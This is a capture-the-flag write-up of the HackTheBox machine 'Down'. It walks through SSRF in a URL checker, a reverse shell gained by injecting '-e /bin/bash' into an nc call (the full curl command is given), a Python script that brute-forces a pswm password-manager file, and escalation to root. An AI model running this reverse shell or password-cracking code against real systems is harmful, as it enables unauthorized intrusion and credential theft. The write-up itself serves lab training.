Skip to main content

Command Palette

Search for a command to run...

DOWN - HackTheBox

Updated
4 min read
DOWN - HackTheBox

Down is a retired easy Linux machine that involves exploiting a web service vulnerable to Server-Side Request Forgery (SSRF) due to weak input sanitization and improper URL validation. By leveraging this flaw, we retrieve the source code of the web application, which reveals an interesting parameter that we use to gain a shell as the www-data user.

Upon initial access, we perform local enumeration and discover a pswm file in a user's home directory. The file appears to contain encrypted credentials protected by a weak encryption scheme. We develop a script to brute-force the master password and successfully decrypt the file, obtaining user credentials.

Using these credentials, we escalate to a user account with unrestricted sudo privileges, ultimately gaining full root access to the system.

Reconnaissance

We start with a port scan against the target.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There’s no other ports open, so let’s visit the site.

Web Application

We are greeted with a feature that checks if a site is down or not.

I started a python server and passed my tun0 ip as the url in the input.

I’ve tried different ssrf injection techniques like command injection or accessing the file system, but we had no luck, since the only allowed protocols are HTTP and HTTPS. I then set up an nc listener to see if we can get extra information about the service.

We can see that the webserver is using curl , which is a unix command-line utility. In curl, we can supply two urls, and it would send a request to both of the urls.

We have a user named aleks, but we couldn’t find any hard-coded credentials. So instead, we’ll look at the source code of the application in /var/www/html/index.php.

In the source code, we find an interesting code block that leads us to another feature, by passing “tcp“ to the expertmode parameter.


if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
<SNIP>

In the source code, the code passes /usr/bin/nc through the function escapeshellcmd(), which calls the binary to the command line, we can exploit this feature and get a shell.

Shell as www-data

We set up an nc listener, and get a shell by adding -e /bin/bash to the enter a port number. We’ll use curl to call the function in the webapp. curl -X POST 'http://10.129.234.87/index.php?expertmode=tcp' -d "ip=10.10.14.41&port=8000 -e /bin/bash"

Let’s upgrade our shell and we can see that user.txt is in the current path we are in.

Privilege Escalation

Now, let’s explore the system. Earlier, we found a user aleks so let’s explore his directory. We can see that he has a file called pswm.

We look up what pswm is, and we come across a Github repository which leads us to a project called PSWM. There’s not much description about it, so let’s clone the repository and explore.

A simple command line password manager written in Python.

We install the required modules, using uv, and run the pswm binary. We are prompted to create a password, and we can see that it is stored in ~/.local/share/pswm/pswm, similarly in the linux machine.

Upon inspecting the source code, we can see that there is an option to decrypt the password, by first passing the master password to the function.

We can create a quick python script poc to bruteforce the master_password, in order for us to decrypt the pswm file. We just need to pass the pwsm file we found earlier and a wordlist that we can use to bruteforce the master_password.

import cryptocode
import sys

def usage():
    print(f"Usage: {sys.argv[0]} <pwsm file> <wordlist>")
    sys.exit(1)

if len(sys.argv) != 3:
    usage()

try:
    with open(sys.argv[1], 'r') as f:
        encrypted = f.read().strip()

    with open(sys.argv[2], 'r', errors='ignore') as f:
        for line in f:
            password = line.strip()
            if not password:
                continue
            decrypted = cryptocode.decrypt(encrypted, password)
            if decrypted:
                print(f"[+] Found password: {password}")
                print(decrypted)
                break
        else:
            print("[-] No valid password found.")
except FileNotFoundError as e:
    print(f"File error: {e}")
    sys.exit(1)

Let’s login as aleks.

Apparently, he has too much privileges. Let’s add our own ssh keys to the root user, and finally get our flag!

That’s pretty much it! This is my first box after purchasing VIP+ with my credit, I hope you learned something new!